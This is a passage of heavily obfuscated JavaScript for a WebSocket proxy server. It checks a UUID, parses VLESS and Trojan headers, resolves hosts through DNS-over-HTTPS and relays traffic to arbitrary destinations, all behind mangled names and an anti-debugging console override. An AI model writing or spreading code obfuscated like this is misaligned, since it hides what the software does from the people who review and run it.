_0x3ff5d2={};_0x3ff5d2['Content-Ty'+'pe']=_0x42d44d[_0x1cba3b(-0x23e,-0x2b0,-0x282,-0x1aa)],_0x25c86a['writeHead'](-0x1*0x1bdf+-0xf*0x264+-0x414f*-0x1,_0x3ff5d2),_0x25c86a[_0x1cba3b(-0x1c0,-0x328,-0x289,-0x339)](_0x42d44d[_0x1cba3b(-0x20e,-0x235,-0x251,-0x1c3)]);}}}),_0x5e5315={};_0x5e5315['server']=httpServer;const wss=new WebSocket['Server'](_0x5e5315),uuid=UUID[_0x187de4(-0xd9,-0x7b,-0x111,-0x105)](/-/g,''),DNS_SERVERS=[_0x23a861(-0xce,-0x51,0x70,-0x33),'1.1.1.1'];function resolveHost(_0x3b4e3e){const _0xf80686={'ZDhdb':function(_0x48f1d6,_0x222302,_0x6ea7fa){return _0x48f1d6(_0x222302,_0x6ea7fa);},'OZchM':_0x5d26c7(-0x25c,-0x22d,-0x1d5,-0x217)+_0x343f9f(0x1ac,0x20e,0x22d,0x28d)+'yc.mn/v1','WfvNT':_0x343f9f(0x23e,0x1c4,0x1be,0x246)+_0x343f9f(0x1ca,0x2ab,0x22d,0x1ef)+_0x5d26c7(-0x194,-0x237,-0x10a,-0xc9)+'t','CPaPW':function(_0x47f8eb,_0x1fb7fb){return _0x47f8eb(_0x1fb7fb);},'jCfZh':function(_0x5832d3,_0x74c8fd){return _0x5832d3+_0x74c8fd;},'lFCKi':_0x5d26c7(-0x1f5,-0x196,-0x263,-0x229)+_0x5d26c7(-0x10e,-0x150,-0x108,-0x1cc)+_0x343f9f(0x303,0x375,0x2cb,0x2c2)+'\x20)','gzsAc':function(_0x5122df){return _0x5122df();},'hPdEk':_0x343f9f(0x340,0x32a,0x31c,0x375),'LxAkb':_0x5d26c7(-0x16c,-0xfc,-0x230,-0x12e),'kzmev':_0x5d26c7(-0x197,-0xc1,-0x15e,-0x1ec),'ELwXH':_0x343f9f(0x17e,0x102,0x194,0x112),'Gketd':function(_0x48559f,_0x49257c){return _0x48559f<_0x49257c;},'oseTG':function(_0x151b2e,_0xf18d3b){return _0x151b2e>_0xf18d3b;},'YXBoo':function(_0x27754a,_0xa6f663){return _0x27754a!==_0xa6f663;},'ZJWqU':_0x343f9f(0x1f4,0x1f4,0x1f1,0x2bc),'fVuVJ':function(_0x35abf0){return _0x35abf0();},'hMJpo':function(_0x3de594,_0x275367){return _0x3de594===_0x275367;},'nkJgZ':function(_0x5dc355,_0x18b133){return _0x5dc355>=_0x18b133;},'ZAlvW':'YCvHL','gabqQ':'WrVLS','HMJsv':_0x343f9f(0x245,0x2f2,0x241,0x2ca)+_0x343f9f(0xd2,0x1a2,0x19f,0x10c),'JGrmO':function(_0x3cf83c,_0x460758){return _0x3cf83c(_0x460758);}};function _0x343f9f(_0x39033e,_0x277d80,_0x313da6,_0x22741a){return _0x23a861(_0x39033e,_0x277d80-0x17a,_0x313da6-0x1cd,_0x313da6-0x266);}function _0x5d26c7(_0x2552c1,_0x32e8ad,_0x24af0e,_0x2ffb53){return _0x23a861(_0x24af0e,_0x32e8ad-0x34,_0x24af0e-0x198,_0x2552c1- -0x1b4);}return new Promise((_0xd6069d,_0xaf22dd)=>{const _0x26abde={'QRCEP':function(_0x1a8f6d,_0x1c6ce4,_0x589380){function _0x590f54(_0x5719b9,_0xa5afac,_0x157fff,_0x57a58c){return _0x38c5(_0x157fff- -0x1a5,_0x57a58c);}return _0xf80686[_0x590f54(0x3,-0x2e,-0x33,-0xca)](_0x1a8f6d,_0x1c6ce4,_0x589380);},'YWTBf':_0xf80686[_0x5d0d83(-0x238,-0x1bb,-0x19a,-0x2be)],'mJPQK':_0xf80686[_0x5d0d83(-0x158,-0x203,-0xc6,-0xca)],'vXoNB':function(_0x18df8d,_0x456436){function _0x227c70(_0x5b3250,_0x46a2bd,_0xa05e71,_0x27efbe){return _0x25eedb(_0x5b3250,_0x46a2bd-0x18,_0xa05e71-0xf9,_0x46a2bd-0x203);}return _0xf80686[_0x227c70(0x3fa,0x395,0x399,0x3af)](_0x18df8d,_0x456436);},'vOAKw':function(_0x397391,_0x1dfc1d){function _0x5ab13a(_0x208be5,_0x317af0,_0x4513ec,_0x1c32b0){return _0x25eedb(_0x208be5,_0x317af0-0x1a1,_0x4513ec-0x1a0,_0x1c32b0-0xd2);}return _0xf80686[_0x5ab13a(0x226,0x2bd,0x1d0,0x2a1)](_0x397391,_0x1dfc1d);},'QQhKQ':_0xf80686[_0x5d0d83(-0x2fd,-0x262,-0x2b5,-0x270)],'GnFHl':function(_0xb9f405){function _0x56a339(_0x101d92,_0x1f944e,_0x514c7d,_0x4fe013){return _0x25eedb(_0x4fe013,_0x1f944e-0x6,_0x514c7d-0xc2,_0x101d92- -0x2af);}return _0xf80686[_0x56a339(-0x15a,-0x1bf,-0x209,-0x169)](_0xb9f405);},'XcqGA':_0xf80686['hPdEk'],'MlYiW':_0xf80686[_0x25eedb(0x13,0x6a,0x100,0xd4)],'FkcmQ':_0xf80686[_0x5d0d83(-0x2a6,-0x27f,-0x20e,-0x270)],'PmGvS':_0x25eedb(0x125,0x112,0x1b5,0x152),'Mcxkw':_0xf80686['ELwXH'],'ZmoDq':function(_0x32be9a,_0x63d631){return _0xf80686['Gketd'](_0x32be9a,_0x63d631);},'QbukQ':function(_0x536e74,_0x3c5dde){function _0x2033a6(_0x2dd8a5,_0x883925,_0x44e0be,_0x26350c){return _0x25eedb(_0x26350c,_0x883925-0x19c,_0x44e0be-0x170,_0x2dd8a5- -0x2e5);}return _0xf80686[_0x2033a6(-0x1d3,-0x246,-0x270,-0x272)](_0x536e74,_0x3c5dde);},'jMmUh':function(_0x1a27cc,_0x35e536){function _0x53badf(_0x42bb9a,_0x280913,_0x1d0fc8,_0x30d00c){return _0x5d0d83(_0x42bb9a-0x608,_0x280913-0x1c1,_0x1d0fc8-0x6f,_0x1d0fc8);}return _0xf80686[_0x53badf(0x39f,0x402,0x399,0x35b)](_0x1a27cc,_0x35e536);},'nuwob':_0xf80686['ZJWqU'],'KTTsQ':function(_0x3d56ca){function _0x216a55(_0x390a94,_0xe2ea5e,_0x58491e,_0x44d0d0){return _0x25eedb(_0x44d0d0,_0xe2ea5e-0x126,_0x58491e-0x182,_0x390a94- -0x149);}return _0xf80686[_0x216a55(0xc,-0xab,-0x48,-0x2a)](_0x3d56ca);},'lDmCg':function(_0x187235){return _0xf80686['fVuVJ'](_0x187235);},'wANHY':function(_0x5643ea,_0x178b9c){function _0x2e7a1f(_0x3a080a,_0x1ecd1e,_0x3c529a,_0x191b12){return _0x5d0d83(_0x3c529a-0x6bd,_0x1ecd1e-0x1c7,_0x3c529a-0xa9,_0x3a080a);}return _0xf80686[_0x2e7a1f(0x507,0x5f5,0x534,0x462)](_0x5643ea,_0x178b9c);},'RSfgj':_0x5d0d83(-0x29e,-0x336,-0x244,-0x2f0),'Xpato':function(_0x19009a,_0x35697c){function _0x458102(_0x312588,_0x42b69b,_0x3d76ff,_0x15626a){return _0x5d0d83(_0x312588-0x560,_0x42b69b-0x121,_0x3d76ff-0x1b9,_0x3d76ff);}return _0xf80686[_0x458102(0x3b1,0x32b,0x3e4,0x2fc)](_0x19009a,_0x35697c);},'zpKJQ':_0xf80686[_0x25eedb(0x88,-0x1,0x46,0xbb)],'OERTY':_0xf80686[_0x5d0d83(-0x17b,-0x149,-0x15e,-0x20c)],'GPnEU':_0xf80686[_0x5d0d83(-0x22b,-0x19a,-0x2d5,-0x1e4)]};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x25eedb(0x126,0x131,0x126,0x14c)](_0x3b4e3e)){_0xf80686[_0x5d0d83(-0x233,-0x20d,-0x1f2,-0x243)](_0xd6069d,_0x3b4e3e);return;}let _0x26f7a0=0x1bc4+-0x22fd+0x739;function _0x23de89(){function _0x2fe5bb(_0x2a4e20,_0x4bddb2,_0x3093be,_0x1959c5){return _0x25eedb(_0x1959c5,_0x4bddb2-0x1b5,_0x3093be-0x16a,_0x4bddb2- -0x213);}function _0x5d3e2c(_0x5bd8b0,_0x179b31,_0x244fc5,_0x4faa8d){return _0x25eedb(_0x179b31,_0x179b31-0x18a,_0x244fc5-0xd1,_0x5bd8b0- -0x29b);}const _0x533601={'ODRNR':function(_0x221986){function _0x3f2d35(_0x4298d5,_0x2e2dd1,_0x4fe699,_0x2b8666){return _0x38c5(_0x4298d5- -0x1d4,_0x2e2dd1);}return _0x26abde[_0x3f2d35(0x3c,0xaa,-0x29,-0x4d)](_0x221986);}};if(_0x26abde['wANHY'](_0x26abde[_0x5d3e2c(-0xc9,-0x82,-0xd2,-0x32)],_0x2fe5bb(-0xa3,-0x15a,-0x151,-0x1df))){const _0x1df814=_0x3fa9fb[_0x5d3e2c(-0x13e,-0xc3,-0x64,-0x160)](0x22cd+0x1d*0xdd+-0x3bd5,-0x1428+-0xed+-0x1526*-0x1),_0xb6ea11=_0x1df814[_0x2fe5bb(-0x87,-0x78,-0x9b,-0x6a)]((_0x4abe4d,_0x56102e)=>_0x4abe4d==_0x43f759(_0x5d371e[_0x2fe5bb(-0x1fb,-0x155,-0xed,-0x224)](_0x56102e*(0x1*-0x24e5+-0x1a*0x120+0x4227),0x283*-0x8+0x1a*-0x8+0x14ea),0x11*0x170+0xf1e+-0x7e6*0x5));if(_0xb6ea11){!_0x26abde[_0x5d3e2c(-0x20b,-0x1ab,-0x1b4,-0x1f1)](_0x5f92b5,_0x2e4058,_0x1ff0db)&&_0xfa309f['close']();return;}}else{if(_0x26abde[_0x5d3e2c(-0x118,-0xb5,-0x124,-0x105)](_0x26f7a0,DNS_SERVERS[_0x5d3e2c(-0x233,-0x1ff,-0x25c,-0x2ca)])){if(_0x26abde[_0x2fe5bb(-0xff,-0x193,-0xc7,-0x114)](_0x26abde[_0x5d3e2c(-0x234,-0x2c0,-0x310,-0x1f3)],_0x26abde[_0x2fe5bb(-0x61,-0x120,-0x129,-0x1c1)]))return!_0x3b78ab?_0x26abde[_0x5d3e2c(-0x18d,-0x1d1,-0x1da,-0x179)]:_0x26abde[_0x5d3e2c(-0x214,-0x234,-0x17c,-0x1ec)];else{_0x26abde[_0x5d3e2c(-0x1f7,-0x193,-0x2cf,-0x1af)](_0xaf22dd,new Error(_0x5d3e2c(-0x218,-0x15f,-0x181,-0x225)+_0x5d3e2c(-0xf1,-0xd0,-0x74,-0x13e)+_0x3b4e3e+(_0x5d3e2c(-0x1b8,-0x159,-0x1b1,-0x121)+_0x5d3e2c(-0xb1,-0x5,-0x109,0x28)+'s')));return;}}const _0x2c5901=DNS_SERVERS[_0x26f7a0];_0x26f7a0++;const _0x2a7902=_0x2fe5bb(-0x11f,-0x154,-0x147,-0xb9)+_0x5d3e2c(-0x1c0,-0x260,-0xf2,-0x1b6)+_0x2fe5bb(-0x1fe,-0x1cd,-0x156,-0x152)+'e='+_0x26abde[_0x5d3e2c(-0x1f7,-0x2b1,-0x173,-0x202)](encodeURIComponent,_0x3b4e3e)+'&type=A',_0x3b70ef={};_0x3b70ef[_0x5d3e2c(-0x180,-0x222,-0x21a,-0x1eb)]=_0x26abde[_0x5d3e2c(-0x170,-0x162,-0x16b,-0xf8)];const _0x15a9f7={};_0x15a9f7['timeout']=0x1388,_0x15a9f7[_0x2fe5bb(-0x156,-0xf3,-0x149,-0xf5)]=_0x3b70ef,axios[_0x2fe5bb(-0xfe,-0x1a9,-0x11b,-0x1bb)](_0x2a7902,_0x15a9f7)[_0x2fe5bb(-0x13e,-0x144,-0x7d,-0x12f)](_0x3792ce=>{function _0x59fddf(_0x14739b,_0x33fb75,_0x53873a,_0x31fe58){return _0x5d3e2c(_0x14739b-0x2a4,_0x53873a,_0x53873a-0x6,_0x31fe58-0x1ed);}function _0x5b33bf(_0x3722d4,_0x1fd758,_0x5d3139,_0x4dde33){return _0x5d3e2c(_0x5d3139-0x222,_0x1fd758,_0x5d3139-0xb2,_0x4dde33-0x174);}const _0x1e6389={'JvYeZ':function(_0x12a6d5,_0x359653){function _0x5e119a(_0x3d0a01,_0x30ebf3,_0x27ecf1,_0x52a790){return _0x38c5(_0x3d0a01- -0x373,_0x30ebf3);}return _0x26abde[_0x5e119a(-0x260,-0x29c,-0x248,-0x2f6)](_0x12a6d5,_0x359653);},'mJctv':function(_0x30ffc2,_0x21b5b6){return _0x26abde['vOAKw'](_0x30ffc2,_0x21b5b6);},'iiGjZ':_0x5b33bf(0x149,0xef,0xa0,0x12f)+_0x5b33bf(-0x30,0x8a,0x3,-0xd8),'PAuwY':_0x26abde[_0x59fddf(0x190,0x183,0x217,0x1f5)],'NGZsE':function(_0x24fbb6){function _0x54f5e1(_0x563f1a,_0x252835,_0x4e32e1,_0x3d18ab){return _0x59fddf(_0x252835-0x20a,_0x252835-0x63,_0x4e32e1,_0x3d18ab-0x178);}return _0x26abde[_0x54f5e1(0x1e7,0x266,0x1fe,0x28d)](_0x24fbb6);},'JpJXR':_0x26abde['XcqGA'],'pqvBO':_0x26abde[_0x5b33bf(0x167,0x180,0x106,0x106)],'RzOnE':_0x26abde[_0x59fddf(0x141,0xe8,0x1e3,0x179)],'xLRRZ':_0x26abde[_0x59fddf(0x180,0x17e,0x175,0xfd)],'NVNUL':_0x26abde['Mcxkw'],'YVNiC':_0x59fddf(0x186,0x23e,0xd0,0x1f1),'TaUnK':function(_0x13094d,_0x10556c){function _0xd24dd2(_0x5297cc,_0x15b30a,_0x3cfb8,_0x1e8721){return _0x5b33bf(_0x5297cc-0x1b3,_0x5297cc,_0x3cfb8- -0x159,_0x1e8721-0x101);}return _0x26abde[_0xd24dd2(-0x7f,0xc4,0x9,0x24)](_0x13094d,_0x10556c);}};if('wCjdm'===_0x59fddf(0x1b7,0x26e,0x21a,0x167)){const _0x33b5f3=_0x3792ce[_0x59fddf(0x9f,0xe2,0xca,0xf6)];if(_0x33b5f3[_0x5b33bf(0x1e6,0x70,0x11c,0x1e5)]===-0x1cad+-0xa0b+0x26b8&&_0x33b5f3['Answer']&&_0x26abde[_0x59fddf(0x1e5,0x11d,0x2b9,0x210)](_0x33b5f3[_0x5b33bf(0xad,0x3f,0x5,-0xc8)][_0x5b33bf(-0xd7,-0x72,-0x11,0x0)],0xe72*-0x2+0x489*0x3+0x12d*0xd)){const _0x230533=_0x33b5f3[_0x59fddf(0x87,-0x4a,0x6a,0x6c)][_0x5b33bf(0x219,0x1a1,0x151,0xb5)](_0xb15daa=>_0xb15daa[_0x59fddf(0x170,0x150,0x16f,0x96)]===0x267f+0x9a7*0x1+-0x11*0x2d5);if(_0x230533){if(_0x26abde[_0x59fddf(0x152,0x191,0xb4,0x139)](_0x59fddf(0xea,0x17d,0x163,0x9b),_0x26abde[_0x5b33bf(0x147,0x125,0x144,0x1d0)])){_0xd6069d(_0x230533[_0x59fddf(0x9f,0x77,0xab,0x35)]);return;}else{let _0x5bf29e;try{const _0x228895=EfjlBb['JvYeZ'](_0x58473c,EfjlBb[_0x5b33bf(0x1b9,0xfc,0x107,0xd2)](EfjlBb[_0x5b33bf(0x139,0x135,0x107,0xbd)](EfjlBb[_0x5b33bf(-0xb5,0x6d,-0x27,0x2f)],EfjlBb[_0x5b33bf(0x7d,0xc2,0xe9,0x27)]),');'));_0x5bf29e=EfjlBb[_0x5b33bf(0xaa,0x7a,0xa6,0x8b)](_0x228895);}catch(_0x3e7760){_0x5bf29e=_0x23f990;}const _0x12ce13=_0x5bf29e[_0x59fddf(0x1ae,0x1fb,0x28a,0x1f3)]=_0x5bf29e['console']||{},_0x51fe41=[EfjlBb[_0x59fddf(0x1c4,0x176,0x1ae,0x28f)],EfjlBb['pqvBO'],EfjlBb[_0x5b33bf(0xf2,0x46,0x2d,0x6b)],EfjlBb[_0x5b33bf(0x1e9,0x235,0x17b,0xcf)],_0x59fddf(0x174,0xad,0x149,0x1f7),EfjlBb[_0x5b33bf(0x143,0x1f,0xef,0xc7)],EfjlBb['YVNiC']];for(let _0xd4f310=-0x1bc7+0x17e5*0x1+0x3e2;EfjlBb[_0x5b33bf(0x20f,0x100,0x16b,0x166)](_0xd4f310,_0x51fe41[_0x59fddf(0x71,0x104,0x18,0x24)]);_0xd4f310++){const _0x33ac25=_0x3da57c[_0x59fddf(0x1e2,0x182,0x123,0x13c)+'r'][_0x5b33bf(0x3f,0xe9,0x59,0x120)][_0x59fddf(0x1d5,0x19e,0x173,0xff)](_0x41b56c),_0x2f382a=_0x51fe41[_0xd4f310],_0x220702=_0x12ce13[_0x2f382a]||_0x33ac25;_0x33ac25[_0x59fddf(0x163,0x102,0x9c,0x21c)]=_0x1357a1[_0x59fddf(0x1d5,0x18d,0x123,0x29c)](_0x17a596),_0x33ac25[_0x59fddf(0x1d4,0x19b,0xfd,0x1ae)]=_0x220702[_0x59fddf(0x1d4,0x22d,0x177,0x252)][_0x59fddf(0x1d5,0x191,0x10d,0x222)](_0x220702),_0x12ce13[_0x2f382a]=_0x33ac25;}}}}_0x26abde[_0x59fddf(0x5c,0x138,0x77,0x14)](_0x23de89);}else _0x533601[_0x5b33bf(0x1b5,0x1fd,0x13c,0xd5)](_0x16608d);})[_0x5d3e2c(-0x184,-0x225,-0x1ee,-0xfc)](_0x2d3e77=>{function _0x2e9d92(_0x410b38,_0x48aa39,_0x5f13d4,_0x5e5563){return _0x5d3e2c(_0x48aa39-0x3af,_0x410b38,_0x5f13d4-0x171,_0x5e5563-0xb0);}_0x26abde[_0x2e9d92(0x228,0x285,0x27e,0x347)](_0x23de89);});}}function _0x5d0d83(_0x573000,_0x36d707,_0x19b06d,_0x18b32f){return _0x5d26c7(_0x573000- -0x6f,_0x36d707-0x1d1,_0x18b32f,_0x18b32f-0x16d);}function _0x25eedb(_0x2c7d43,_0x2d4a6f,_0x35ab52,_0x11122e){return _0x343f9f(_0x2c7d43,_0x2d4a6f-0x2b,_0x11122e- -0x149,_0x11122e-0x65);}_0xf80686[_0x5d0d83(-0x1eb,-0x12b,-0x188,-0x233)](_0x23de89);});}function handleVlessConnection(_0x50f34b,_0x38abc6){const _0x28c2e7={'rVpgs':_0x24feaa(0x11d,-0x4f,0x80,0x30),'hzGRm':function(_0x57c5a1,_0x5dc76a){return _0x57c5a1===_0x5dc76a;},'CGtkX':function(_0x320e59,_0x2a8f4e){return _0x320e59+_0x2a8f4e;},'nNjnW':function(_0x1560ca,_0x5506ee){return _0x1560ca==_0x5506ee;},'rhzNV':function(_0x6e9003,_0x4cedcf){return _0x6e9003==_0x4cedcf;},'WZDZE':function(_0xaef0e3,_0x5b4400){return _0xaef0e3+_0x5b4400;},'CXMPw':function(_0x1d5ddf,_0x42541e){return _0x1d5ddf(_0x42541e);},'mYGEu':function(_0x4fa330,_0x9ea249){return _0x4fa330(_0x9ea249);}};function _0x24feaa(_0x32470c,_0x5561f8,_0x3de77c,_0x1f31b2){return _0x23a861(_0x32470c,_0x5561f8-0x32,_0x3de77c-0x175,_0x3de77c-0x4b);}function _0x39374f(_0x1211bb,_0x4e118e,_0x28c223,_0x169e06){return _0x23a861(_0x1211bb,_0x4e118e-0x1e4,_0x28c223-0x194,_0x4e118e-0x21e);}const [_0x486346]=_0x38abc6,_0x1f4065=_0x38abc6[_0x24feaa(0xf9,0xf9,0x8b,-0x32)](-0x23e0+0x177b*-0x1+-0x4*-0xed7,-0x18f+0x7d*-0x5+-0x15b*-0x3);if(!_0x1f4065[_0x24feaa(0x176,0x18,0xc9,0xdc)]((_0x307e51,_0xcd9440)=>_0x307e51==parseInt(uuid['substr'](_0xcd9440*(-0x1*0xaab+-0x1b1*-0x15+-0x18d8),0x1835+-0x8da+-0xf59),-0x866+-0xa12+0x1288)))return![];let _0x2151a0=_0x28c2e7[_0x39374f(0x24a,0x2ca,0x36f,0x25a)](_0x38abc6[_0x39374f(0x1ee,0x25e,0x335,0x1b1)](0x4*0x935+-0x15*0x14b+0x1e*-0x52,-0x1ce2+-0x1*-0x1646+0x6ae)['readUInt8'](),-0x27*0x34+-0x81f*-0x1+-0x10*0x2);const _0x30bb41=_0x38abc6[_0x39374f(0x1e1,0x25e,0x1cb,0x25e)](_0x2151a0,_0x2151a0+=-0xa42+-0xf0b*0x1+0x13*0x155)['readUInt16'+'BE'](-0x103d+-0x1bfa+0x2c37),_0x13334b=_0x38abc6[_0x24feaa(0x12,0x13d,0x8b,0x12)](_0x2151a0,_0x2151a0+=-0x342*0x1+0x59e+0xc9*-0x3)[_0x24feaa(0x84,0x28,-0x47,-0xf0)](),_0x29804a=_0x28c2e7['nNjnW'](_0x13334b,0x1dce+0x16a9+0x5*-0xa7e)?_0x38abc6[_0x39374f(0x25b,0x25e,0x297,0x2a1)](_0x2151a0,_0x2151a0+=0x7d3+0x7ed+0xd4*-0x13)[_0x24feaa(0x18,-0xa,-0x5,-0xa0)]('.'):_0x28c2e7[_0x39374f(0x223,0x1d2,0x136,0x261)](_0x13334b,0x6bb*0x5+0x1*0x12c4+0x3469*-0x1)?new TextDecoder()[_0x24feaa(0x0,-0x6a,0x28,0x77)](_0x38abc6[_0x39374f(0x209,0x25e,0x2d5,0x2c2)](_0x28c2e7['WZDZE'](_0x2151a0,-0x1*-0x1caf+0x29*0xa7+0x7*-0x7eb),_0x2151a0+=_0x28c2e7[_0x24feaa(0xf7,0xc8,0xf7,0x55)](0x499+-0x3e8+0xb*-0x10,_0x38abc6[_0x24feaa(0x48,0x19,0x8b,0x28)](_0x2151a0,_0x28c2e7['CGtkX'](_0x2151a0,-0x1e38*0x1+-0x1*0x1d63+-0x1*-0x3b9c))['readUInt8']()))):_0x28c2e7[_0x24feaa(0x3,0x1d,-0x1,0x5f)](_0x13334b,-0x1*0xa8b+0x1574+-0xae6)?_0x38abc6[_0x24feaa(0x140,0x1a,0x8b,0xb2)](_0x2151a0,_0x2151a0+=0x4ac+0x1b7d+0x63*-0x53)[_0x24feaa(-0x13d,-0x137,-0x69,-0x80)]((_0x29e78d,_0x5949be,_0x218844,_0x3230aa)=>_0x218844%(0x508+0xd40+-0x1246)?_0x29e78d[_0x39374f(0xf4,0x182,0xa5,0x25d)](_0x3230aa['slice'](_0x218844-(0x17*0x18d+-0xb5*-0x7+-0x289d),_0x218844+(-0x1d18+-0x1bd8+-0x12fb*-0x3))):_0x29e78d,[])['map'](_0x3d2381=>_0x3d2381[_0x24feaa(0x81,-0xca,0x3,0x8d)+'BE'](-0xeed+-0x5a*0x26+0x1c49)[_0x39374f(0x2d4,0x2cc,0x340,0x395)](0x35*0x5a+0x29a+-0x21e*0xa))[_0x24feaa(-0xc4,0x2f,-0x5,-0xdc)](':'):'';_0x50f34b[_0x39374f(0x22e,0x251,0x22c,0x24c)](new Uint8Array([_0x486346,0x149a+-0x1a1d+0x583]));const _0x3f6cb6=_0x28c2e7[_0x39374f(0x11f,0x1de,0x248,0x1ef)](createWebSocketStream,_0x50f34b);return _0x28c2e7[_0x24feaa(0xbb,0x6c,0x8e,0xd9)](resolveHost,_0x29804a)['then'](_0x18a350=>{const _0x55ac56={};function _0x2bb6b6(_0x199b00,_0x4cf5ea,_0x20aac2,_0x5df674){return _0x39374f(_0x20aac2,_0x5df674- -0x7a,_0x20aac2-0x142,_0x5df674-0xf1);}_0x55ac56[_0x2bb6b6(0x1c3,0x217,0x20b,0x184)]=_0x2bb6b6(0x1e3,0x2b4,0x100,0x1d9);function _0x416472(_0x163d18,_0x385584,_0x1a5ec3,_0x311b30){return _0x39374f(_0x163d18,_0x1a5ec3-0x320,_0x1a5ec3-0x58,_0x311b30-0x64);}const _0x4439a4=_0x55ac56,_0x14cd2c={};_0x14cd2c[_0x2bb6b6(0x250,0x258,0x2ca,0x216)]=_0x18a350,_0x14cd2c[_0x416472(0x45b,0x3a1,0x47e,0x498)]=_0x30bb41,net['connect'](_0x14cd2c,function(){function _0xbb3570(_0x2e2030,_0x238aa3,_0x1b92ed,_0x228705){return _0x416472(_0x228705,_0x238aa3-0x199,_0x1b92ed- -0x631,_0x228705-0x0);}function _0x531021(_0x248148,_0x3199c3,_0x3e6f49,_0x4c1cff){return _0x416472(_0x3e6f49,_0x3199c3-0x186,_0x248148- -0x299,_0x4c1cff-0x34);}this[_0xbb3570(-0x17d,-0x68,-0x112,-0x1b2)](_0x38abc6['slice'](_0x2151a0)),_0x3f6cb6['on'](_0x4439a4[_0x531021(0x285,0x2de,0x24a,0x348)],()=>{})[_0x531021(0x1d0,0x259,0x111,0x144)](this)['on'](_0xbb3570(-0x153,-0x173,-0xbe,-0xa),()=>{})[_0x531021(0x1d0,0x281,0x23f,0x28e)](_0x3f6cb6);})['on'](_0x28c2e7[_0x2bb6b6(0xf7,0x12e,0xff,0xdc)],()=>{});})[_0x24feaa(0x2b,0x79,0x45,-0x8)](_0x3144b0=>{const _0x5b7262={'VyDyQ':function(_0x4aa232,_0xfe0663){function _0x123cb1(_0x5c7dd6,_0x584609,_0x3b7339,_0x3bf33e){return _0x38c5(_0x3b7339-0x32b,_0x584609);}return _0x28c2e7[_0x123cb1(0x472,0x464,0x4da,0x57c)](_0x4aa232,_0xfe0663);},'RqgyX':_0x9391de(0x305,0x3b4,0x370,0x422),'FyRnO':_0x28c2e7['rVpgs']},_0x40d1df={};_0x40d1df[_0x9391de(0x3b7,0x402,0x33a,0x4bc)]=_0x29804a;function _0x180cd0(_0x2a5b63,_0x5814c8,_0x16e68d,_0x319272){return _0x39374f(_0x2a5b63,_0x16e68d- -0x32b,_0x16e68d-0x6a,_0x319272-0x193);}function _0x9391de(_0x5e8247,_0x28eaa6,_0x2df504,_0x291a3f){return _0x24feaa(_0x5e8247,_0x28eaa6-0x16f,_0x28eaa6-0x345,_0x291a3f-0x6a);}_0x40d1df[_0x9391de(0x354,0x2d0,0x343,0x213)]=_0x30bb41,net[_0x9391de(0x3ca,0x374,0x353,0x404)](_0x40d1df,function(){function _0x4f3df5(_0x426db5,_0x4bdd32,_0x322846,_0x13da7b){return _0x180cd0(_0x4bdd32,_0x4bdd32-0xf5,_0x13da7b-0x360,_0x13da7b-0x63);}function _0x4c3831(_0x11441e,_0x4061ca,_0x51e6df,_0x29c52f){return _0x9391de(_0x4061ca,_0x11441e- -0x23c,_0x51e6df-0x86,_0x29c52f-0x98);}if(_0x5b7262[_0x4f3df5(0x27d,0x2ab,0x19d,0x1f3)](_0x5b7262['RqgyX'],_0x5b7262[_0x4c3831(0x1c2,0x1c8,0x165,0x28c)]))this[_0x4f3df5(0x227,0x268,0x2d8,0x234)](_0x38abc6[_0x4c3831(0x194,0x134,0x134,0x252)](_0x2151a0)),_0x3f6cb6['on'](_0x5b7262[_0x4c3831(0x1c7,0x19d,0x277,0x1b1)],()=>{})[_0x4c3831(0x7f,0x10e,0xd5,-0x5b)](this)['on'](_0x5b7262[_0x4c3831(0x1c7,0x290,0x299,0x19a)],()=>{})['pipe'](_0x3f6cb6);else return![];})['on'](_0x28c2e7[_0x9391de(0x241,0x2c8,0x2a9,0x258)],()=>{});}),!![];}function handleTrojanConnection(_0x5073a1,_0x48aecb){const _0x223767={'hoQEk':_0x444592(0x185,0xeb,0xdd,0x58),'mdzro':'Not\x20Found\x0a','GZICK':function(_0xde877f,_0x4ee410,_0x8d30d){return _0xde877f(_0x4ee410,_0x8d30d);},'zPsHv':function(_0x25b6ba,_0x4159d4){return _0x25b6ba<_0x4159d4;},'FPJoe':_0x3b18de(-0x1bc,-0x280,-0x21a,-0xf1),'dBAjp':function(_0x3cd95f,_0x224e4c){return _0x3cd95f+_0x224e4c;},'lEMRs':_0x444592(0xf9,0x86,0xa8,0x5b)+_0x3b18de(-0x14b,-0x1b3,-0x1dd,-0x133)+_0x444592(0x21b,0x148,0x14e,0xab)+'\x20)','tzACH':function(_0x5e930f,_0x4e4642){return _0x5e930f(_0x4e4642);},'ISOie':_0x444592(0x9a,0x142,0x173,0x1b9),'ujzRm':_0x444592(0x15,0x102,0xe8,0x105),'hfddl':function(_0x3a3a36,_0x314945){return _0x3a3a36===_0x314945;},'LtVUB':function(_0x4a68bd,_0xab8345){return _0x4a68bd+_0xab8345;},'VbzPg':function(_0x5f1156,_0x409eb0){return _0x5f1156!==_0x409eb0;},'lrtnn':function(_0x4e8c07,_0x25985d){return _0x4e8c07+_0x25985d;},'IcpTS':_0x444592(0x8c,0x105,0x11b,0x16a),'dYenr':function(_0x3c9586,_0x590c4f){return _0x3c9586+_0x590c4f;},'BVtKt':function(_0x292486,_0x59edbc){return _0x292486===_0x59edbc;},'XsxtB':function(_0x7922ba,_0x5cd484){return _0x7922ba===_0x5cd484;},'RTxJf':_0x3b18de(-0x27a,-0x27f,-0x2ca,-0x2b6)};function _0x444592(_0x2b5451,_0x7a85b,_0x4309d3,_0x57a3e3){return _0x187de4(_0x2b5451-0xff,_0x4309d3-0x113,_0x2b5451,_0x57a3e3-0x7f);}function _0x3b18de(_0x1eb169,_0x26231e,_0x5a86d3,_0x27f456){return _0x23a861(_0x26231e,_0x26231e-0xd5,_0x5a86d3-0x34,_0x1eb169- -0x1f1);}try{if(_0x223767[_0x444592(0x82,0xaa,0x42,-0x40)](_0x48aecb[_0x444592(0x72,0x10e,0x34,-0x29)],-0xe5*0xc+0x1f29*-0x1+0x29*0x107))return![];const _0x2c8729=_0x48aecb['slice'](0x263e*-0x1+0x38b*0x3+-0x1b9d*-0x1,-0x34d+-0x3d*-0x8b+-0x1d9a)['toString'](),_0x3af213=[UUID];let _0x4bd2ee=null;for(const _0x1de431 of _0x3af213){const 